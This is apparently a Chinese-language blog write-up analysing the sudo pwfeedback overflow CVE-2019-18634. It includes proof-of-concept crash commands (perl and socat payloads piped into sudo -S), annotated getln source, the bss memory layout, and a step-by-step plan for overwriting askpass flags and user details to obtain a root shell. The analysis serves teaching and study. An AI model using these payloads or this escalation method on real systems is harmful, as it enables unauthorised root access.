CVE-2019-18634是一个sudo 提权漏洞
。影响sudo版本为[1.7.1,1.8.31)
。在官方描述中只提及该漏洞可以在1.8.26
前的版本中利用,实际上在1.8.26的版本中仍有利用的方式。具体地,如果pwfeedback
配置选项在/etc/sudoers
被启用,攻击者可以利用一个栈溢出漏洞(实际上溢出点在bss段
)来获取root权限。这个配置选项在多数的Linux系统中都不是默认选项,但是在Linux Mint
操作系统和Elementary OS
上是默认开启的,因此漏洞的危害比较大,攻击者需要向getln
传递一个超长字符串来触发攻击。
下载sudo-1.8.25
源码并编译
wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
tar -zxvf ./sudo-1.8.25.tar.gz
cd ./sudo-1.8.25
./configure
make -j4
make install
系统默认的sudo
位于/usr/bin/
目录下,编译之后的sudo会放在/usr/local/bin/
目录下,在环境变量中后者更靠前因此默认调用的是我们编译之后的binary。
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ which sudo 1 ↵ /usr/local/bin/sudo ╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ ll /usr/bin/sudo -rwsr-xr-x 1 root root 134K 2月 1 02:37 /usr/bin/sudo ╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ ll /usr/local/bin/sudo ╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ sudo --version Sudo version 1.8.25 Sudoers policy plugin version 1.8.25 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.25
漏洞的复现环境为Ubuntu 16.04
,默认没有开启pwfeedback
配置,因此我们首先切换到root用户,修改/etc/sudoers
,添加一行Defaults pwfeedback
,然后使用sudo -l
列出用户的可用权限,可以看到配置生效。
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ sudo -l Matching Defaults entries for wz on wz-virtual-machine: pwfeedback, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User wz may run the following commands on wz-virtual-machine: (ALL : ALL) ALL
首先拿POC进行测试,第一个POC为多个A*100+‘\x00’
组成的字符串,-S
参数指的是从stdin读取密码,成功使得sudo崩溃。这个poc适用于1.8.26以前的漏洞版本。
─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id 132 ↵ Password: [1] 31047 done perl -e 'print(("A" x 100 . "\x{00}") x 50)' | 31048 illegal hardware instruction (core dumped) sudo -S id
第二个POC的payload与第一个相似,只是末尾结束符从\x00
改成了\x15
。通过socat
创建一个伪终端pty
。waitslave
参数使得当sudo
从/tmp/pty
读取输入时,执行下述的命令向文件中输入payload。可以看到这个POC也成功使得sudo崩溃。
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" & [1] 30757 ╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*› ╰─$ sudo -S id < /tmp/pty Password: [1] + 30757 done socat pty,link=/tmp/pty,waitslave [2] 30883 illegal hardware instruction (core dumped) sudo -S id < /tmp/pty
CWwait-slave Blocks the open phase until a process opens the slave side of the pty. Usually, socat continues after generating the pty with opening the next address or with entering the transfer loop. With the wait-slave option, socat waits until some process opens the slave side of the pty before continuing. This option only works if the operating system provides the CWpoll() system call. And it depends on an undocumented behaviour of ptycqs, so it does not work on all operating systems. It has successfully been tested on Linux, FreeBSD, NetBSD, and on Tru64 with openpty.
根据NVD的描述,漏洞位于getln
函数,我们重新编译sudo
,添加--enabble-asan
参数,这个参数使得gcc在编译阶段对程序添加了额外的指令和数据,可以检测内存溢出。可以理解成开启沙箱保护的功能。
make clean ./configure --enable-asan make -j4 make install
再使用第二个poc进行测试,沙箱可以检测出bss段的溢出,且给出了程序崩溃时的寄存器情况以及函数调用链,可以看到在tgetpass.c:178
行调用getln,在tgetpass:345
处产生了溢出。
根据源码,可以看出漏洞发生在程序使用getln
函数获取密码时。参数buf
位于bss段,bufsz
为输入最大长度,这里是0xff,feedback
为pwfeedback
选项。
跟进去接着看,开始将buf赋值给cp
指针,left
表示剩余的输入字符数量。在没有开启pwfeedback
的时候挨个拷贝输入字符到cp中直到遇到换行,*cp++ = c;
。
开启了该选项的情况下情况复杂一些,如果输入字符为sudo_term_kill
,即删除所有字符就会回滚输入,将cp恢复到和buf一致的位置,并将剩余字节left
重新赋值为bufsize
。如果输入字符为sudo_term_erase
,即删除单个字符,就将字符位置回滚1字节,left++
。
这里的逻辑看上去没有什么问题,但是我们从管道
获取输入而非从终端获取输入,由于管道是单向
的,因此在这个读管道中我们只能read而不能write,故write(fd, "\b \b", 3) == -1
总是成立,在处理sudo_term_kill
这个字符的时候直接Break跳出,重新赋值left
为bufsiz,即0xff
,又可以输入一轮0xff
内的数据,通过*cp++ = c;
覆写bss数据,直到溢出自己的0x100的数据边界,最终造成crash。
//tgetpass:178 pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK)); //... getln(int fd, char *buf, size_t bufsiz, int feedback) { size_t left = bufsiz; ssize_t nr = -1; char *cp = buf; char c = '\0'; debug_decl(getln, SUDO_DEBUG_CONV) if (left == 0) { errno = EINVAL; debug_return_str(NULL); /* sanity */ } while (--left) { nr = read(fd, &c, 1); if (nr != 1 || c == '\n' || c == '\r') break; if (feedback) { if (c == sudo_term_kill) {//调试为0x15 while (cp > buf) { if (write(fd, "\b \b", 3) == -1)//vul break; --cp; } left = bufsiz;//重新赋值 continue; } else if (c == sudo_term_erase) { if (cp > buf) { if (write(fd, "\b \b", 3) == -1) break; --cp; left++; } continue; } ignore_result(write(fd, "*", 1)); } *cp++ = c;//赋值部分 } *cp = '\0'; if (feedback) { /* erase stars */ while (cp > buf) { if (write(fd, "\b \b", 3) == -1) break; --cp; } } debug_return_str_masked(nr == 1 ? buf : NULL); }
首先定位一下输入的位置,在IDA中打开sudo
,查看getlen的调用定位到目标调用处,可以看到内存排布为buf[0x100]->askpass[0x20]->signo[0x104]->tgetpass_flags[0x1c]->user_details[0x68]
。
sudo_debug_ret = getln(v18, buf_6188, flagsa & 8, v19); /* bss:00000000002218E0 buf_6188 db 100h dup(?) ; DATA XREF: tgetpass+412↑o .bss:00000000002219E0 ; Function-local static variable .bss:00000000002219E0 ; const char *askpass_6187 .bss:00000000002219E0 askpass_6187 dq ? ; DATA XREF: tgetpass+5D↑r .bss:00000000002219E0 ; tgetpass+81↑r ... .bss:00000000002219E8 align 20h .bss:0000000000221A00 ; volatile sig_atomic_t signo[65] .bss:0000000000221A00 signo dd 41h dup(?) ; DATA XREF: tgetpass_handler+5↑o .bss:0000000000221A00 ; tgetpass+1EA↑o .bss:0000000000221B04 public tgetpass_flags .bss:0000000000221B04 ; int tgetpass_flags .bss:0000000000221B04 tgetpass_flags dd ? ; DATA XREF: sudo_conversation+5F↑r .bss:0000000000221B04 ; parse_args:loc_11D90↑w ... .bss:0000000000221B08 align 20h .bss:0000000000221B20 public user_details_0 .bss:0000000000221B20 ; user_details user_details_0 .bss:0000000000221B20 user_details_0 user_details <?> ; DATA XREF: get_user_info+41↑o .bss:0000000000221B20 ; get_user_info+77↑w ... .bss:0000000000221B88 public list_user .bss:0000000000221B88 ; const char *list_user .bss:0000000000221B88 list_user dq ? ; DATA XREF: main+87F↑r */ //tgetpass.c static const char *askpass; static char buf[SUDO_CONV_REPL_MAX + 1];
askpass
变量定义在tgetpass.c
,为静态变量,这个变量对于漏洞利用来说很关键,其作用是指定一个可执行程序,从这个程序中获取输入作为密码。检查TGP_ASKPASS
这个flag之后选择启用该选项。从环境变量SUDO_ASKPASS
中读取要执行的程序,调用sudo_askpass
函数,其中fork
出子进程来执行程序,在这之前会检查suid/uid/gid
详情可以查看下列函数调用中的注释。之后调用getln
获取输入,注意这里没有启用pwfeedback
。
/* * Like getpass(3) but with timeout and echo flags. */ char * tgetpass(const char *prompt, int timeout, int flags, struct sudo_conv_callback *callback) { struct sigaction sa, savealrm, saveint, savehup, savequit, saveterm; struct sigaction savetstp, savettin, savettou; char *pass; static const char *askpass;//定义 static char buf[SUDO_CONV_REPL_MAX + 1]; int i, input, output, save_errno, neednl = 0, need_restart; debug_decl(tgetpass, SUDO_DEBUG_CONV) (void) fflush(stdout); if (askpass == NULL) { askpass = getenv_unhooked("SUDO_ASKPASS");//从环境变量获取 if (askpass == NULL || *askpass == '\0') askpass = sudo_conf_askpass_path(); } /* If no tty present and we need to disable echo, try askpass. */ if (!ISSET(flags, TGP_STDIN|TGP_ECHO|TGP_ASKPASS|TGP_NOECHO_TRY) && !tty_present()) {//注意TGP_ASKPASS这个flag if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) { sudo_warnx(U_("no tty present and no askpass program specified")); debug_return_str(NULL); } SET(flags, TGP_ASKPASS);//启用askpass选项 } /* If using a helper program to get the password, run it instead. */ if (ISSET(flags, TGP_ASKPASS)) { if (askpass == NULL || *askpass == '\0') sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS")); debug_return_str_masked(sudo_askpass(askpass, prompt));//调用sudo_askpass,askpass作为参数 } //... } // /* * Fork a child and exec sudo-askpass to get the password from the user. */ static char * sudo_askpass(const char *askpass, const char *prompt) { static char buf[SUDO_CONV_REPL_MAX + 1], *pass; struct sigaction sa, savechld; int pfd[2], status; pid_t child; //... if (pipe(pfd) == -1) sudo_fatal(U_("unable to create pipe")); child = sudo_debug_fork();//fork处子进程 //... if (child == 0) { /* child, point stdout to output side of the pipe and exec askpass */ if (dup2(pfd[1], STDOUT_FILENO) == -1) {//stdout复制到pfd[1]这个输出管道 sudo_warn("dup2"); _exit(255); } if (setuid(ROOT_UID) == -1) sudo_warn("setuid(%d)", ROOT_UID);//检查suid if (setgid(user_details.gid)) { sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);//检查gid _exit(255); } if (setuid(user_details.uid)) { sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);//检查uid _exit(255); } closefrom(STDERR_FILENO + 1); execl(askpass, askpass, prompt, (char *)NULL);//去执行askpass指定的程序 sudo_warn(U_("unable to run %s"), askpass); _exit(255); } /* Get response from child (askpass). */ (void) close(pfd[1]); pass = getln(pfd[0], buf, sizeof(buf), 0);//调用getln获取密码,注意pwfeedback参数为0,表示不启用该选项。 (void) close(pfd[0]); //... debug_return_str_masked(pass); }
signo
定义为static volatile sig_atomic_t signo[NSIG];
,存储程序运行中接收到的各种信号以便对其处理,这里我们置为\x00
即可。
tgetpass_flags
保存一些选项对应的flag。在sudo.h
中可以找到宏及表示的含义。其中TGP_ASKPASS
为4,因此我们要启用askpass
需要设置此值为0x4
。
/* * Flags for tgetpass() */ #define TGP_NOECHO 0x00 /* turn echo off reading pw (default) */ #define TGP_ECHO 0x01 /* leave echo on when reading passwd */ #define TGP_STDIN 0x02 /* read from stdin, not /dev/tty */ #define TGP_ASKPASS 0x04 /* read from askpass helper program */ #define TGP_MASK 0x08 /* mask user input when reading */ #define TGP_NOECHO_TRY 0x10 /* turn off echo if possible */
user_details
保存了用户的信息,包括uid
和pid
。
struct user_details { pid_t pid; pid_t ppid; pid_t pgid; pid_t tcpgid; pid_t sid; uid_t uid; uid_t euid; uid_t gid; uid_t egid; const char *username; const char *cwd; const char *tty; const char *host; const char *shell; GETGROUPS_T *groups; int ngroups; int ts_cols; int ts_lines; };
在之前的分析中我们提到了sudo_term_kill
为\x00
,这导致我们如果想要溢出写user_details
无法将signo
覆写为零值,随后程序会认为产生异常信号而杀死进程。而在pty
作为输入源的情况下这个值为\x15
。因此我们首先确定要选择pty
输入。其次,我们需要利用刚才分析的askpass
的调用链来执行我们的程序以获得root shell
。由于askpass
里的getln
没有启用pwfeedback
,所以我们需要先溢出写user_details
,在这个溢出写的过程中同时改掉tgetpass_flags
为TGP_ASKPASS
。因为sudo有三次输入密码的机会,在第一次输入密码失败后由于我们设置了askpass
,第二次会调用askpass
指向的外部程序。
在这个程序中,我们设置suid并起一个shell,即可在第二次处理时获得root shell
。
这里使用的exp来自Plazmaz-CVE-2019-18634,其编写思路和我刚才描述的一致。注意在不同的环境下变量的偏移有所不同,最好拿IDA看一下在脚本中手动修改。
这里的坑其实算是题外话,我之前调试的时候用的是开启了asan
的binary,结果漏洞无法复现,在IDA中可以看到这里的赋值语句前面多了俩条件,使用gdb进行调试发现这里的$rdx+0x7FFF8000
的前0x20
都是0,因为cp_1 >> 3
向右移动三位,因此对于0x20 << 3
的范围内这里都是为0
,故!(BYTE)v19
总是为真,而到了0x100输入之后这里的值变为0xf9
,v9
为地址,&7
结果在[0,7]
之间,必定小于0xf9
(有符号比较),故后面无法再溢出,可以看到这个保护措施还是蛮到位的。
while ( 1 ) { v9 = (unsigned __int8)cp_1 & 7; v19 = *(unsigned __int8 *)(((unsigned __int64)cp_1 >> 3) + 0x7FFF8000); if ( (char)v19 > (char)v9 || !(_BYTE)v19 )// 条件?注意前面是有符号比较,0xf9<0 { *cp_1++ = v12; // 赋值部分 goto LABEL_15; } /* .text:000000000007C6B1 loc_7C6B1: ; CODE XREF: getln+50E↓j .text:000000000007C6B1 mov rdx, r14 .text:000000000007C6B4 mov rsi, r14 .text:000000000007C6B7 shr rdx, 3 .text:000000000007C6BB and esi, 7 .text:000000000007C6BE movzx edx, byte ptr [rdx+7FFF8000h] .text:000000000007C6C5 cmp dl, sil .text:000000000007C6C8 jg short loc_7C6D2 .text:000000000007C6CA test dl, dl .text:000000000007C6CC jnz loc_7C87D .text:000000000007C6D2 */
sudo
作为特权系统软件,稍有不慎就可能被拿来提权,且用户态程序比内核简单许多,近些年已经爆出了诸多相关的漏洞,有很多因为配置问题在实际中几乎不可能被利用,而CVE-2019-18634
的配置选项并非冷门,影响的范围较广,漏洞的原理较为简单,适合刚入门二进制漏洞的师傅们进行分析和调试。